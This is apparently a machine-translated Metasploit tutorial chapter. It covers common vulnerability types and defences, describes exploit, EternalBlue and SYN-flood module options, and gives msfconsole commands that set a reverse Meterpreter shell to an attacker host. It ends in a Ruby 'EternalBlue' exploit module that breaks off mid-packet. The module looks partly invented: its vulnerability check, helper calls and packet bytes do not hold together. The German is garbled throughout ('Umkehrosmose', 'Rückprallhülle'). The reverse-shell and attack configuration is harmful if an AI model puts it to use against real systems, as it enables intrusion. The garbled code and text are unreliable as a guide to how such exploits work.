预计更新
Kapitel 1 Verwendung und Konfiguration von Metasploit
1.1 Installation und Konfiguration von Metasploit
1.2 Grundlegende Befehle und Optionen von Metasploit
1.3 Erweiterte Optionen und Konfiguration
Kapitel 2 Schwachstellenausnutzung und Angriffsmethoden beim Penetrationstest
1.1 Übliche Arten von Schwachstellen und Ausnutzungsmethoden beim Penetrationstest
1.2 Metasploit-Schwachstellenausnutzungsmodule und -optionen
1.3 Modulerstellung und -anpassung
Kapitel 3 Privilegienausweitung und Post-Infiltration von Metasploit
1.1 Konzept und Bedeutung der Privilegienausweitung
1.2 Privilegienausweitungsmodul und Technologie von Metasploit
1.3 Konzept und Technologie der Post-Infiltration
Kapitel 4 Social Engineering und Umkehrosmose von Metasploit
1.1 Social-Engineering-Konzepte und -Techniken
1.2 Social-Engineering-Module und -Techniken von Metasploit
1.3 Konzepte und Techniken der Umkehrosmose
Kapitel 5 Netzwerkverkehrsanalyse und -sniffing von Metasploit
1.1 Grundkenntnisse der Netzwerkverkehrsanalyse und -sniffing
1.2 Netzwerkverkehrsanalyse- und -sniffing-Module und -Techniken von Metasploit
1.3 Fortgeschrittene Techniken und Tools für Netzwerkverkehrsanalyse und -sniffing
Kapitel 6 Remote-Ausführung und -Management von Metasploit
1.1 Konzept und Bedeutung von Remote-Ausführung und -Management
1.2 Remote-Ausführung und -Management Module und Technologien von Metasploit
1.3 Fortgeschrittene Technologien und Tools für Remote-Ausführung und -Management
Kapitel 7 Metasploit Vulnerability Discovery and Exploit
1.1 Vulnerability Discovery Konzepte und Techniken
1.2 Metasploit Vulnerability Discovery Module und Techniken
1.3 Vulnerability Discovery Fortgeschrittene Techniken und Tools
Kapitel Acht Metasploit Sicherheitsabwehr und Umgehung
1.1 Sicherheitsabwehr und Umgehung Konzept und Bedeutung
1.2 Metasploit Sicherheitsabwehr und Umgehung Module und Techniken
1.3 Sicherheitsabwehr und Umgehung Fortgeschrittene Techniken und Tools
Kapitel 9 Anwendung von Metasploit in Red-Team-Operationen
1.1 Konzept und Bedeutung von Red-Team-Operationen
1.2 Anwendungsszenarien und Techniken von Metasploit in Red-Team-Operationen
1.3 Fortgeschrittene Technologien und Tools von Red-Team-Operationen
Kapitel 10 Anwendung von Metasploit in der Blue Team Defense
1.1 Konzept und Bedeutung von Blue Team Defense
1.2 Anwendungsszenarien und Techniken von Metasploit in der Blue Team Defense
1.3 Fortgeschrittene Techniken und Werkzeuge der Blue Team Defense
第二章 渗透测试的漏洞利用和攻击方法
1.1 渗透测试中常见的漏洞类型和利用方法
1.2 Metasploit的漏洞利用模块和选项
1.3 模块编写和自定义
渗透测试中常见的漏洞类型和利用方法
Penetrationstests sind eine Methode zur Bewertung der Sicherheit eines Computersystems, Netzwerks oder einer Anwendung. Penetrationstests bestehen normalerweise aus zwei Schritten: dem Sammeln von Informationen und der Ausnutzung von Schwachstellen. Dieser Artikel stellt gängige Schwachstellentypen und Ausnutzungsmethoden bei Penetrationstests sowie entsprechende Abwehrmaßnahmen vor.
1. Schwachstellentypen
-
Schwachstellen bei der Eingabevalidierung
Schwachstelle bei der Eingabevalidierung bedeutet, dass die Anwendung die Legitimität von Benutzereingabedaten nicht korrekt überprüft, sodass Angreifer den Sicherheitsmechanismus der Anwendung umgehen können, indem sie bösartige Daten erstellen. Häufige Schwachstellen bei der Eingabevalidierung sind:
- SQL-Injection-Schwachstelle: Angreifer konstruieren böswillige SQL-Anweisungen, um nicht autorisierte Datenbankoperationen auszuführen.
- XSS-Schwachstellen: Angreifer schleusen schädlichen Skriptcode ein, um Benutzerdaten zu stehlen oder böswillige Operationen auszuführen.
- Command Injection-Schwachstelle: Ein Angreifer fügt böswillige Befehle ein, um nicht autorisierte Systemoperationen auszuführen.
- Schwachstelle bei Dateieinschluss: Ein Angreifer kann nicht autorisierte Systemaktionen ausführen, indem er eine bösartige Datei einfügt.
-
Authentifizierungs- und Autorisierungsschwachstellen
Authentifizierungs- und Autorisierungsschwachstellen beziehen sich auf Anwendungen, die Benutzeridentitäten und -berechtigungen nicht ordnungsgemäß überprüfen, sodass Angreifer sich als legitime Benutzer ausgeben oder nicht autorisierte Berechtigungen erlangen können. Häufige Authentifizierungs- und Autorisierungsschwachstellen sind:
- Schwachstelle beim Knacken von Passwörtern: Angreifer erhalten legitime Benutzerpasswörter durch Brute-Force-Knacken oder Wörterbuchangriffe.
- Sicherheitsanfälligkeit durch Sitzungshijacking: Ein Angreifer gibt sich als legitimer Benutzer aus, indem er seine Sitzungskennung stiehlt.
- CSRF-Schwachstelle: Angreifer führen nicht autorisierte Operationen durch, indem sie böswillige Anfragen erstellen.
- Logische Lücken: Es gibt Fehler oder Lücken in der Implementierung der Geschäftslogik der Anwendung, die es Angreifern ermöglichen, Authentifizierungs- oder Autorisierungsmechanismen zu umgehen.
-
Schwachstellen in der Anwendungskonfiguration
Eine Schwachstelle in der Anwendungskonfiguration ist ein Fehler oder eine Schwachstelle in den Konfigurationsdateien oder -einstellungen einer Anwendung, die es einem Angreifer ermöglicht, Sicherheitsmechanismen zu umgehen oder an vertrauliche Informationen zu gelangen. Häufige Schwachstellen in der Konfiguration sind:
- Sicherheitsanfälligkeit durch Offenlegung vertraulicher Informationen: Die Anwendung speichert vertrauliche Informationen im Klartext in Konfigurationsdateien oder Protokolldateien, sodass Angreifer diese Informationen leicht erhalten können.
- Schwachstellen bei Dateiberechtigungen: Fehler oder Schwachstellen in der Einstellung der Datei- oder Verzeichnisberechtigungen in der Anwendung ermöglichen es Angreifern, vertrauliche Dateien zu erhalten oder zu ändern.
- Schwachstellen in der Standardkonfiguration: Eine Anwendung weist Fehler oder Schwachstellen in ihrer Standardkonfiguration auf, die es Angreifern ermöglichen, Sicherheitsmechanismen einfach zu umgehen.
-
Code-Injection-Schwachstelle
Code-Injection-Schwachstellen beziehen sich auf Anwendungen, die Benutzereingabedaten nicht richtig filtern, sodass Angreifer bösartigen Code einschleusen können, um nicht autorisierte Operationen auszuführen. Häufige Sicherheitslücken bei der Code-Injektion sind:
- Schwachstelle durch Einschleusung von PHP-Code: Ein Angreifer fügt bösartigen PHP-Code ein, um nicht autorisierte Vorgänge auszuführen.
- Schwachstelle durch Einschleusung von Java-Code: Ein Angreifer fügt schädlichen Java-Code ein, um nicht autorisierte Vorgänge auszuführen.
- Sicherheitsanfälligkeit durch Einschleusung von JavaScript-Code: Ein Angreifer fügt schädlichen JavaScript-Code ein, um nicht autorisierte Vorgänge auszuführen.
2. Methode zur Ausnutzung von Schwachstellen
-
Ausnutzung der SQL-Injection-Schwachstelle
SQL-Injection-Schwachstellen beziehen sich auf Angreifer, die böswillige SQL-Anweisungen erstellen, um nicht autorisierte Datenbankoperationen auszuführen. Zu den Ausnutzungsmethoden für SQL-Injection-Schwachstellen gehören:
- Blinde Injektion: Der Angreifer beurteilt, ob die Daten in der Datenbank die Bedingungen erfüllen, indem er böswillige SQL-Anweisungen erstellt, um nach und nach auf die Struktur und den Inhalt der Datenbank zu schließen.
- Injektion auf der Grundlage von Fehlercodes: Angreifer können vertrauliche Informationen erhalten, indem sie böswillige SQL-Anweisungen erstellen, um Datenbankfehler auszulösen.
- Zeitbasierte Einschleusung: Angreifer können an vertrauliche Informationen gelangen, indem sie böswillige SQL-Anweisungen konstruieren, um Verzögerungen in der Datenbank zu verursachen.
- Gemeinsame Abfrageinjektion: Angreifer erhalten vertrauliche Informationen, indem sie gemeinsame Abfrageanweisungen erstellen.
- Direkte Abfrageinjektion: Angreifer erstellen böswillige SQL-Anweisungen, um nicht autorisierte Datenbankoperationen auszuführen.
-
XSS-Exploit
XSS-Schwachstellen beziehen sich auf Angreifer, die schädlichen Skriptcode einschleusen, um Benutzerdaten zu stehlen oder böswillige Operationen durchzuführen. Zu den Ausnutzungsmethoden für XSS-Schwachstellen gehören:
- Gespeichertes XSS: Angreifer speichern schädliche Daten auf dem Server, indem sie schädlichen Skriptcode einfügen, um schädliche Operationen auszuführen, wenn Benutzer die Seite besuchen.
- Reflektiertes XSS: Ein Angreifer erstellt eine bösartige URL, um böswillige Operationen auszuführen, wenn ein Benutzer eine Seite besucht.
- XSS vom DOM-Typ: Der Angreifer führt böswillige Operationen durch, indem er die DOM-Struktur der Seite ändert.
-
Command Injection Exploitation
Command Injection-Schwachstellen beziehen sich auf Angreifer, die nicht autorisierte Systemoperationen ausführen, indem sie böswillige Befehle einschleusen. Zu den Ausnutzungsmethoden für Command Injection-Schwachstellen gehören:
- Direkte Befehlsausführung: Ein Angreifer fügt böswillige Befehle ein, um nicht autorisierte Systemoperationen direkt auszuführen.
- Kombinierte Befehlsausführung: Angreifer implementieren komplexe Operationen, indem sie mehrere Befehle einfügen.
- Ausnutzen von Systemschwachstellen: Angreifer führen nicht autorisierte Systemoperationen durch, indem sie Systemschwachstellen ausnutzen.
-
Datei enthält Exploit
Eine Sicherheitsanfälligkeit durch Dateieinschluss tritt auf, wenn ein Angreifer eine schädliche Datei einfügt, um nicht autorisierte Systemoperationen auszuführen. Zu den Ausnutzungsmethoden für Schwachstellen beim Einschließen von Dateien gehören:
- Lokale Dateieinbindung: Ein Angreifer kann nicht autorisierte Systemoperationen ausführen, indem er lokale Dateien einbindet.
- Remote-Dateieinschluss: Ein Angreifer kann nicht autorisierte Systemvorgänge ausführen, indem er Remote-Dateien einbezieht.
- Ausnutzung von Schwachstellen beim Datei-Upload: Angreifer können nicht autorisierte Systemoperationen durchführen, indem sie bösartige Dateien hochladen.
-
Ausnutzung der Sicherheitslücke beim Knacken von Passwörtern
Eine Schwachstelle beim Knacken von Passwörtern bezieht sich auf einen Angreifer, der das Passwort eines legitimen Benutzers durch Brute-Force-Knacken oder Wörterbuchangriff erhält. Zu den Ausnutzungsmethoden für Schwachstellen beim Knacken von Passwörtern gehören:
- Brute-Force-Cracking: Ein Angreifer knackt ein Passwort, indem er alle möglichen Passwortkombinationen ausprobiert.
- Wörterbuchangriff: Ein Angreifer knackt ein Passwort, indem er gängige Passwortkombinationen ausprobiert.
- Social-Engineering-Angriff: Der Angreifer errät das Passwort, indem er die persönlichen Daten des Benutzers erhält.
3. Abwehrmaßnahmen
-
Eingabevalidierung
Anwendungen sollten Benutzereingabedaten überprüfen und filtern, um das Einschleusen schädlicher Daten zu vermeiden. Zu den gängigen Eingabevalidierungsmaßnahmen gehören:
- Verwenden Sie parametrisierte Abfragen, um SQL-Injection-Schwachstellen zu vermeiden.
- Verwenden Sie HTML-Escapezeichen, um XSS-Schwachstellen zu vermeiden.
- Beschränken Sie die Länge und das Format von Benutzereingaben, um Schwachstellen durch Command Injection und File Inclusion zu vermeiden.
-
Authentifizierung und Autorisierung
Anwendungen sollten Benutzer authentifizieren und autorisieren, um nicht autorisierte Vorgänge zu vermeiden. Zu den gängigen Authentifizierungs- und Autorisierungsmaßnahmen gehören:
- Verwenden Sie starke Passwörter und Multi-Faktor-Authentifizierung, um Sicherheitslücken beim Knacken von Passwörtern zu vermeiden.
- Autorisieren Sie vertrauliche Vorgänge und erlauben Sie nur autorisierten Benutzern, Vorgänge auszuführen.
- Überprüfen Sie regelmäßig autorisierte Benutzer und Berechtigungen und löschen Sie nutzlose Benutzer und Berechtigungen rechtzeitig.
-
sichere Codierung
Während der Anwendungsentwicklung sollten sichere Codierungspraktiken befolgt werden, um allgemeine Schwachstellen zu vermeiden. Zu den üblichen sicheren Codierungspraktiken gehören:
- Vermeiden Sie die Verwendung dynamischer SQL-Anweisungen und versuchen Sie, parametrisierte Abfragen zu verwenden.
- Vermeiden Sie Methoden zum dynamischen Ausführen von Code wie die Funktion eval() und Reflektion.
- Vermeiden Sie die Hartcodierung vertraulicher Informationen wie Passwörter und Schlüssel.
- Verwenden Sie sichere Passwort-Hashing- und Verschlüsselungsalgorithmen.
- Vermeiden Sie das Speichern sensibler Daten im Klartext.
-
Sicherheitskonfiguration
Die Sicherheitskonfiguration der Anwendung sollte Best Practices folgen und häufige Fehlkonfigurationen vermeiden. Häufige Sicherheitsfehlkonfigurationen sind:
- Das Standardpasswort und -konto wurden nicht geändert.
- Das HTTPS-Protokoll und das SSL-Zertifikat sind nicht konfiguriert.
- Unbegrenzter Datei-Upload in Typ und Größe.
- Unnötige Dienste und Ports werden nicht geschlossen.
- Software und Patches werden nicht regelmäßig aktualisiert.
-
Sicherheitstest
Anwendungen sollten regelmäßigen Sicherheitstests unterzogen werden, um potenzielle Schwachstellen zu entdecken und zu beheben. Zu den gängigen Sicherheitstests gehören:
- Vulnerability Scanning: Automatische Erkennung von Schwachstellen in Anwendungen mit einem Vulnerability Scanning Tool.
- Penetrationstest: Manuelles Testen der Sicherheit einer Anwendung durch Simulation der Aktionen eines Angreifers.
- Code-Audit: Überprüfen Sie den Quellcode der Anwendung, um potenzielle Schwachstellen zu finden und zu beheben.
Kurz gesagt, die Anwendungssicherheit muss von Design, Entwicklung, Bereitstellung bis hin zu Betrieb und Wartung vollständig berücksichtigt und geschützt werden. Nur eine Kombination von Sicherheitsmaßnahmen kann Anwendungen wirksam vor Angriffen und Schwachstellen schützen.
Metasploit的漏洞利用模块和选项
Metasploit ist ein häufig verwendetes Penetrationstest-Tool, das eine große Anzahl von Modulen und Optionen zur Ausnutzung von Schwachstellen integriert, die dem Sicherheitspersonal helfen können, Schwachstellen im System schnell zu entdecken, zu überprüfen und auszunutzen. In diesem Artikel werden die häufig verwendeten Module und Optionen zur Ausnutzung von Schwachstellen in Metasploit im Detail vorgestellt, einschließlich grundlegender Nutzungsmodule, Module zum Scannen von Schwachstellen, Module für Penetrationstests usw.
1. Grundlegendes Nutzungsmodul
- ausbeuten
Das Exploit-Modul ist das grundlegendste Exploit-Modul in Metasploit, das die Schwachstellen im System ausnutzen kann, um bestimmte Angriffsoperationen durchzuführen. Das Exploit-Modul enthält normalerweise die folgenden Optionen:
- RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
- RPORT: Die Portnummer des Zielhosts.
- PAYLOAD: Angriffsnutzlast, die verwendet wird, um bestimmte Angriffsoperationen auf dem Zielhost auszuführen.
- LHOST: Die IP-Adresse des Hosts des Angreifers, die zum Empfangen der Bounce-Shell verwendet wird.
- LPORT: Die Portnummer des Hosts des Angreifers, um die Rebound-Shell zu empfangen.
- TARGET: Informationen wie das Betriebssystem und die Anwendungsversion des Zielhosts, die zur Auswahl einer geeigneten Angriffsnutzlast verwendet werden.
- Hilfs-
Das Hilfsmodul ist ein Hilfsmodul in Metasploit, das verwendet wird, um Informationen über den Zielhost zu scannen und zu sammeln, um Penetrationstests zu unterstützen. Zusatzmodule umfassen typischerweise die folgenden Optionen:
- RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
- RPORT: Die Portnummer des Zielhosts.
- THREADS: Die Anzahl der gescannten Threads.
- VERBOSE: Ausführliche Ausgabe der Scan-Ergebnisse.
- Post
Das Post-Modul ist ein Post-Infiltrations-Modul in Metasploit, das verwendet wird, um nachfolgende Angriffsoperationen auf dem Zielhost durchzuführen, wie z. B. das Sammeln vertraulicher Informationen, das Erstellen von Benutzern, das Hochladen schädlicher Dateien usw. Das Post-Modul enthält normalerweise die folgenden Optionen:
- SESSION: Die erhaltene Sitzungs-ID.
- VERBOSE: Verbose Ausgabe der Angriffsergebnisse.
- AKTION: Die Folgeangriffsaktion wird ausgeführt.
2. Schwachstellen-Scan-Modul
- Scanner
Das Scanner-Modul ist ein Schwachstellen-Scan-Modul in Metasploit, das verwendet wird, um Schwachstelleninformationen auf dem Zielhost zu scannen. Das Scannermodul enthält normalerweise die folgenden Optionen:
- RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
- RPORT: Die Portnummer des Zielhosts.
- THREADS: Die Anzahl der gescannten Threads.
- VERBOSE: Ausführliche Ausgabe der Scan-Ergebnisse.
- Entdeckung
Das Erkennungsmodul ist ein Diensterkennungsmodul in Metasploit, das verwendet wird, um offene Dienste und Ports auf dem Zielhost zu erkennen. Das Erkennungsmodul umfasst normalerweise die folgenden Optionen:
- RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
- RPORTS: Der zu scannende Portbereich.
- THREADS: Die Anzahl der gescannten Threads.
- VERBOSE: Ausführliche Ausgabe der Scan-Ergebnisse.
3. Penetrationstestmodul
- Exploit/Multi/Handler
Das Exploit/Multi/Handler-Modul ist das Reverse-Shell-Modul in Metasploit, das verwendet wird, um die Bounce-Shell zu empfangen. Das Exploit/Multi/Handler-Modul enthält normalerweise die folgenden Optionen:
- NUTZLAST: Der Nutzlasttyp der Rückprallhülle.
- LHOST: Die IP-Adresse des Hosts des Angreifers, die zum Empfangen der Bounce-Shell verwendet wird.
- LPORT: Die Portnummer des Hosts des Angreifers, um die Rebound-Shell zu empfangen.
- Exploit/windows/smb/ms17_010_eternalblue
Das Exploit/windows/smb/ms17_010_eternalblue-Modul ist ein bekanntes Exploit-Modul in Metasploit, das verwendet wird, um die EternalBlue-Schwachstelle im Windows SMB-Dienst auszunutzen. Das Exploit/windows/smb/ms17_010_eternalblue-Modul enthält normalerweise die folgenden Optionen:
- RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
- RPORT: Die SMB-Portnummer des Zielhosts.
- SMBPIPE: SMB-Pipe-Name.
- PAYLOAD: Angriffsnutzlast, die verwendet wird, um bestimmte Angriffsoperationen auf dem Zielhost auszuführen.
- LHOST: Die IP-Adresse des Hosts des Angreifers, die zum Empfangen der Bounce-Shell verwendet wird.
- LPORT: Die Portnummer des Hosts des Angreifers, um die Rebound-Shell zu empfangen.
- Exploit/unix/ftp/proftpd_modcopy_exec
Das Exploit/unix/ftp/proftpd_modcopy_exec-Modul ist ein Modul in Metasploit zum Ausnutzen der ProFTPD-Schwachstelle, mit der beliebige Befehle auf dem Zielhost ausgeführt werden können. Das Exploit/unix/ftp/proftpd_modcopy_exec-Modul enthält normalerweise die folgenden Optionen:
- RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
- RPORT: FTP-Portnummer des Zielhosts.
- BENUTZERNAME: FTP-Benutzername.
- PASSWORT: FTP-Passwort.
- CMD: Der auszuführende Befehl.
4. Andere Module
- post/multi/manage/shell_to_meterpreter
Das post/multi/manage/shell_to_meterpreter-Modul ist ein Post-Exploitation-Modul in Metasploit, das verwendet werden kann, um eine erworbene Shell-Sitzung in eine Meterpreter-Sitzung umzuwandeln. Das Modul post/multi/manage/shell_to_meterpreter enthält normalerweise die folgenden Optionen:
- SESSION: Die erhaltene Shell-Sitzungs-ID.
- Auxiliary/Scanner/smb/smb_enumshares
Das Modul „auxiliary/scanner/smb/smb_enumshares“ ist ein Modul in Metasploit zum Scannen gemeinsam genutzter Ressourcen auf dem Zielhost. Das Modul „auxiliary/scanner/smb/smb_enumshares“ enthält normalerweise die folgenden Optionen:
- RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
- RPORT: Die SMB-Portnummer des Zielhosts.
- THREADS: Die Anzahl der gescannten Threads.
- Auxiliary/dos/tcp/synflood
Das Modul „auxiliary/dos/tcp/synflood“ ist ein Modul in Metasploit zur Durchführung von TCP-SYN-Flood-Angriffen. Das Modul „auxiliary/dos/tcp/synflood“ enthält normalerweise die folgenden Optionen:
- RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
- RPORT: Die Portnummer des Zielhosts.
- THREADS: Die Anzahl der Threads für den Angriff.
Zusammenfassen
Metasploit ist ein sehr leistungsfähiges Penetrationstest-Tool, das eine große Anzahl von Modulen und Optionen zur Ausnutzung von Schwachstellen integriert, die dem Sicherheitspersonal helfen können, Schwachstellen im System schnell zu entdecken, zu überprüfen und auszunutzen. Dieser Artikel stellt die häufig verwendeten Module und Optionen zur Ausnutzung von Schwachstellen in Metasploit im Detail vor, in der Hoffnung, Ihnen bei Ihrer Penetrationstestarbeit behilflich zu sein.
模块编写和自定义
Metasploit ist ein sehr leistungsfähiges Penetrationstest-Tool, das eine große Anzahl von Exploit-Modulen und Optionen bietet, um Schwachstellen im System schnell zu entdecken, zu überprüfen und auszunutzen. Gleichzeitig unterstützt Metasploit auch benutzerdefinierte Module, und Sie können Ihre eigenen Module entsprechend den tatsächlichen Anforderungen schreiben. Dieser Artikel beschreibt den Prozess des Schreibens und Anpassens von Metasploit-Modulen.
1. Die Grundlage des Modulschreibens
- Metasploit-Modultyp
Metasploit-Module werden hauptsächlich in Typen wie Exploit, Auxiliary, Post und Payload unterteilt. Unter ihnen wird Exploit verwendet, um Schwachstellen im System auszunutzen, um bestimmte Angriffsoperationen durchzuführen, Auxiliary wird verwendet, um Informationen auf dem Zielhost zu scannen und zu sammeln, Post wird verwendet, um nachfolgende Angriffsoperationen auf dem Zielhost durchzuführen, und Payload wird zur Ausführung verwendet auf dem Zielhost Die Nutzlast einer bestimmten Angriffsoperation.
- Struktur des Metasploit-Moduls
Metasploit-Module bestehen normalerweise aus Modulname, Autor, Beschreibung, Optionen und Code. Der Modulname, der Autor und die Beschreibung werden verwendet, um die grundlegenden Informationen des Moduls zu identifizieren, die Optionen werden verwendet, um die Parameter des Moduls einzustellen, und der Code ist der Hauptimplementierungsteil des Moduls.
- Metasploit-Moduloptionen
Metasploit-Moduloptionen werden verwendet, um die Parameter des Moduls festzulegen, die normalerweise die IP-Adresse des Zielhosts, die Portnummer, die Angriffslast und andere Informationen enthalten. Moduloptionen können erforderlich oder optional sein, Sie können den Befehl set verwenden, um den Wert der Moduloption festzulegen.
- Schreibprozess für das Metasploit-Modul
Der allgemeine Ablauf beim Schreiben eines Metasploit-Moduls ist wie folgt:
- Bestimmen Sie den Modultyp und -namen;
- Schreiben Sie eine Modulbeschreibung;
- Moduloptionen bestimmen;
- Schreiben Sie die Angriffsnutzlast;
- Angriffscode schreiben.
Zweitens: Schreiben von Exploit-Modulen
Das Exploit-Modul wird verwendet, um Schwachstellen im System auszunutzen, um bestimmte Angriffsoperationen durchzuführen. Im Folgenden wird ein einfaches Exploit-Modul als Beispiel verwendet, um den Prozess des Schreibens des Exploit-Moduls vorzustellen.
- Bestimmen Sie Modultyp und -namen
Zuerst müssen Sie den Typ und den Namen des Exploit-Moduls bestimmen. Wenn wir beispielsweise ein Exploit-Modul schreiben möchten, um die SMB-Schwachstelle im Windows 10-System auszunutzen, können wir den Modultyp auf Exploit und den Modulnamen auf windows/smb/ms17_010_eternalblue setzen.
- Verfassen Sie eine Modulbeschreibung
Als nächstes müssen Sie eine Beschreibung des Moduls schreiben, die die Funktion und Verwendung des Moduls beschreibt. Beispielsweise können wir dem Modul die folgenden Beschreibungsinformationen hinzufügen:
This module exploits the SMB vulnerability (MS17-010) that was leaked by the Shadow Brokers. This module is capable of exploiting both the 32-bit and 64-bit versions of Windows 7 and Windows 2008 R2. The payload is an EternalBlue-based payload, which is a modified version of the original EternalBlue exploit. This module requires Metasploit: https://github.com/rapid7/metasploit-framework
- Moduloptionen bestimmen
Dann ist es notwendig, die Optionen des Moduls zu bestimmen, dh die Parameter des Moduls einzustellen. Beispielsweise können wir die folgenden Optionen festlegen:
set RHOSTS 192.168.1.100
set RPORT 445
set SMBPIPE BROWSER
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444
Diese Optionen geben jeweils die IP-Adresse des Zielhosts, die SMB-Portnummer, den SMB-Pipe-Namen, die Angriffsnutzlast, die IP-Adresse und die Portnummer des angreifenden Hosts an.
- Schreiben Sie die Angriffsnutzlast
Als Nächstes müssen Sie die Angriffsnutzlast schreiben, d. h. den Code, der verwendet wird, um bestimmte Angriffsoperationen auf dem Zielhost auszuführen. Beispielsweise können wir die folgende Angriffsnutzlast verwenden:
windows/x64/meterpreter/reverse_tcp
Diese Angriffsnutzlast ist eine Meterpreter-Reverse-TCP-Shell, die verschiedene Operationen auf dem Zielhost ausführen und die Ergebnisse an den Angreiferhost senden kann.
- Angriffscode schreiben
Abschließend muss noch der Angriffscode des Exploit-Moduls geschrieben werden. Dieser Code verwendet normalerweise eine oder mehrere Schwachstellen, um bestimmte Angriffsvorgänge durchzuführen, z. B. Code-Injection, Dateiübertragung, Rechteausweitung usw. Beispielsweise können wir den folgenden Angriffscode verwenden:
require 'msf/core/exploit/smb'
require 'msf/core/exploit/psexec'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::Psexec
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows SMB MS17-010 EternalBlue Remote Code Execution',
'Description' => %q{
This module exploits the SMB vulnerability (MS17-010) that was leaked by the Shadow Brokers. This module is capable of exploiting both the 32-bit and 64-bit versions of Windows 7 and Windows 2008 R2. The payload is an EternalBlue-based payload, which is a modified version of the original EternalBlue exploit. This module requires Metasploit: https://github.com/rapid7/metasploit-framework
},
'Author' => [
'Shadow Brokers', # Vulnerability discovery and leak
'zerosum0x0', # Exploit discovery and development
'Jens Mueller', # MSF Module
'Alain Mowat', # MSF Module
'Liam Randall', # MSF Module
'bcoles' # MSF Module
],
'License' => MSF_LICENSE,
'References' => [
['MSB', 'MS17-010'],
['CVE', '2017-0143'],
['CVE', '2017-0144'],
['CVE', '2017-0145'],
['CVE', '2017-0146'],
['CVE', '2017-0147'],
['CVE', '2017-0148'],
['URL', 'https://github.com/RiskSense-Ops/MS17-010'],
['URL', 'https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/']
],
'Payload' => {
'BadChars' => "\x00",
'Space' => 2048
},
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
['Windows 7 and Server 2008 R2 (x86)', { 'Arch' => ARCH_X86 }],
['Windows 7 and Server 2008 R2 (x64)', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 1,
'DisclosureDate' => '2017-03-14',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Source' => 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb'
}
))
register_options([
Opt::RHOST(),
Opt::RPORT(445),
OptString.new('SMBPIPE', [ true, 'The pipe name to use (BROWSER, SRVSVC)', 'BROWSER']),
OptString.new('PROCESSNAME', [ false, 'The process to inject payload into (default: lsass)', 'lsass']),
OptBool.new('FORCE', [ true, 'Continue even if target is not vulnerable', false]),
OptBool.new('DISABLEDCHECK', [ true, 'Disable check for known-not-vulnerable targets', false]),
OptInt.new('GROOMSIZE', [ true, 'The groom size (number of transactions)', 12]),
OptInt.new('MAXATTEMPTS', [ true, 'The maximum number of attempts to spray the pool', 3]),
OptInt.new('WAITTIME', [ true, 'The number of seconds to wait for the exploit to complete', 180]),
OptEnum.new('METHOD', [
true, 'The method to use for exploitation (auto, smb, eternalblue, psexec)', 'auto',
[
'auto', 'Try all available方法',
'smb', 'Use only SMB for exploitation',
'eternalblue', 'Use only EternalBlue for exploitation',
'psexec', 'Use only Psexec for exploitation'
]
])
])
end
def check
os = smb_os_fingerprint
if os.nil?
return CheckCode::Unknown('Unable to identify OS')
end
unless os.downcase =~ /windows (7|2008 R2)/
return CheckCode::Safe('Target does not appear to be vulnerable')
end
# Check for the presence of the DoublePulsar backdoor
unless smb_file_exist?('C$', 'Windows\\System32\\msdt.exe')
return CheckCode::Safe('Target does not appear to be vulnerable')
end
CheckCode::Vulnerable('Target is vulnerable to MS17-010')
end
def exploit
print_status("Exploiting target #{rhost} using method #{exploit_method}")
print_status("Target OS: #{smb_os_fingerprint}")
print_status("Target architecture: #{target_arch.first}")
print_status('')
if check == CheckCode::Safe and not datastore['FORCE']
print_error('Target does not appear to be vulnerable')
return
end
case exploit_method
when 'auto'
run_automatic_exploit
when 'smb'
run_smb_exploit
when 'eternalblue'
run_eternalblue_exploit
when 'psexec'
run_psexec_exploit
else
raise ArgumentError, "Invalid exploit method: #{exploit_method}"
end
print_status('Exploit completed')
end
def run_automatic_exploit
if run_eternalblue_exploit
return
end
run_psexec_exploit
end
def run_smb_exploit
print_status('Running SMB exploit...')
# Build the exploit payload
payload = generate_payload
# Build the exploit request
exploit = build_smb_exploit_request(payload)
# Send the exploit request
smb_send_packet(exploit)
# Wait for the exploit to complete
sleep(datastore['WAITTIME'])
print_status('SMB exploit completed')
end
def run_eternalblue_exploit
print_status('Running EternalBlue exploit...')
# Build the exploit payload
payload = generate_payload
# Build the exploit request
exploit = build_eternalblue_exploit_request(payload)
# Send the exploit request
smb_send_packet(exploit)
# Wait for the exploit to complete
sleep(datastore['WAITTIME'])
# Check if the exploit was successful
if smb_file_exist?('C$', 'Windows\\Temp\\msf.dll')
print_good('EternalBlue exploit successful')
return true
else
print_error('EternalBlue exploit failed')
return false
end
end
def run_psexec_exploit
print_status('Running Psexec exploit...')
# Build the exploit payload
payload = generate_payload
# Build the exploit options
opts = {
'rhost' => rhost,
'payload' => payload,
'processname' => datastore['PROCESSNAME']
}
# Execute the exploit
psexec_exec(opts)
print_status('Psexec exploit completed')
end
def exploit_method
datastore['METHOD']
end
def generate_payload
# Generate a reverse Meterpreter payload
payload = generate_payload_msf('windows/meterpreter/reverse_tcp')
# Add the payload to the Metasploit Framework
register_file_for_cleanup(payload)
register_file_for_cleanup('meterpreter.rc')
write_file('meterpreter.rc', "use multi/handler\nset PAYLOAD windows/meterpreter/reverse_tcp\nset LHOST #{datastore['LHOST']}\nset LPORT #{datastore['LPORT']}\nset ExitOnSession false\nexploit -j")
# Return the payload
payload
end
def build_smb_exploit_request(payload)
# Build the exploit request
request = ''
request << "\x00\x00\x00\x90" # length
request << "\xff\x53\x4d\x42" # SMB header
request << "\x72\x00\x00\x00" # SMB command: Negotiate Protocol
request << "\x00\x18\x53\xc8" # NTLMSSP Signature
request << "\x00\x26" # NTLMSSP Type 1 message
